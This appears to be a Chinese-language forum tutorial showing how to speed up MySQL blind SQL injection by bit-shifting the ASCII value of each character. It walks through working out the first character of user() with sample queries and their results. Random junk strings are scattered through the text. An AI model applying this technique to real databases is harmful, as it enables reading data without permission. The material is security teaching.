关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
- F1 X7 u+ R, t$ p& O, s2 B

+ s7 i$ h# Y* N  s+ o. {9 l" U  x( O
下面将以查询mysql数据库当中user()的第一位为例:
$ t5 r7 I4 c% _% Z7 ?% T: \


# \, h( W" [0 L7 Wps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


3 Z0 |5 S% j" o! |
' [& x5 D# Z! B; I( x首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

' @7 q# {$ o* X; F9 I3 w
+ p  C4 x6 O& O- {" j( K
8 {2 ?0 D. x; T% J8 f' m我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
5 Q  S& n6 F# F4 E3 N


第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
  O. G, Q, @# o& b( Z
( W5 j3 D: t* @4 j! I7 S$ |9 U5 Q; E

) P/ b1 e& x. u! |$ c, u如果运算结果为1,说明第一位为0,不为1
: F6 A# U+ I& ^5 z* C0 k. W


+————————————–+

  n( U2 e7 @6 Q  E| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |

+————————————–+
! |6 z  `# I* K4 ?4 ~
1 row in set (0.00 sec)
( i. L( _) P$ a' C/ w( o; L2 \
这样我们就确定这个8bit的ascii的第一位为0
6 _5 r7 n0 [+ M% G, D

: p! k; O' Z! i: i! I
. o+ Z3 _, a! }# R1 F$ W* H' |第二次我们来做6次右偏移来确定前两位


# }0 B' Z9 o9 Q$ D. t* E" b
前两位可能是01或00,即依然可以与0做比较,
7 y5 X6 p  @' ?2 m# A
2 f! {1 A, |7 Gmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

. l9 _. R6 G. e1 r+ ~# U+————————————–+
) y, ^! S5 o) a
5 L1 S9 G# @2 Z4 S' U/ u| (ascii((substr(user(),1,1))) >> 6)=0 |
. o" A7 ?7 a$ {1 g) g
+————————————–+

| 0 |

+————————————–+

" a4 J9 R  x  Y* f1 row in set (0.00 sec)

; q& h$ }' I/ t
. y$ X  o- |- A# u
结果为0,即第二位为1
3 F) r1 M+ V+ Z% r0 H: H% Q


开始猜测前三位为010或011
5 G$ U8 ?& A: g" ^* C


' ?3 s3 E4 P3 u! i4 ~让我们看看010和011的ascii码是多少


  f% W3 H0 D4 K
分别查询select b’011′ select b’010′
% a8 k+ R! s3 O* o# D


4 e0 y& ]+ z7 i0 G! W( F获得结果 010 = 2 011 = 3

* b" b/ L5 K5 m6 E3 _
) ?& R; F* H8 w" d/ P7 N
执行如下sql:



9 v) w4 H* q$ o% b; _mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

1 D! E6 K% s/ X$ W$ {1 Z$ _. }| (ascii((substr(user(),1,1))) >> 5)=2 |
7 _! i- }$ N& Z0 k
+————————————–+
, }( [! A4 b0 _# W
| 0 |

; \# x: E% L6 U+————————————–+
: Q+ M# Y, M+ Q7 O. T2 n2 o# m3 P
9 d& w+ ~5 h# U9 y7 _# _即前三位不为010,而是011

8 ]8 J1 V8 ?; G6 S, l

) _) N+ u( k  l' p. Q直到获得最后一位


; m% v, K2 U3 ?3 n8 ~6 Q
+ x, o9 m5 X8 s! E+ n$ }最终结果为:01110010


! T3 ]: D6 v* H) J" x& Q
( v4 v$ j( r* B6 `5 P转换一下:

1 R3 k% q0 h$ L1 B) j
0 }! L: m- }9 {( i0 B6 a
select b’01110010′
. x3 W, Q8 A  _0 o1 C6 f' p/ A
% [2 e; C6 l/ h" T4 i( @$ F
/ D+ K+ _# ~" r2 F
- F: u9 G; q/ V6 S1 P查询结果
# F* ?, v9 W  P0 X% S2 g3 i# K) K

5 Y- w% j3 r: h0 k% K
+————-+
" X- [- H% o1 @% `, l
| b’01110010′ |
/ ^! s3 \- H# c7 n* _  f  o5 [4 g
6 H' `9 P9 K2 G1 O; G% o+————-+

1 d! {1 N2 h% W% N8 G| r |

9 e% `( n' E8 l# g$ j+ C+————-+

# n  N' `% a. o) U0 Z1 row in set (0.00 sec)
7 |  D8 K5 l5 f( ^) [
0 b3 _) E4 Q9 p+ a: _1 \

& R2 `+ `6 h) Q1 y+ K. M这样我们就获得了user()的第一位.其它位依此类推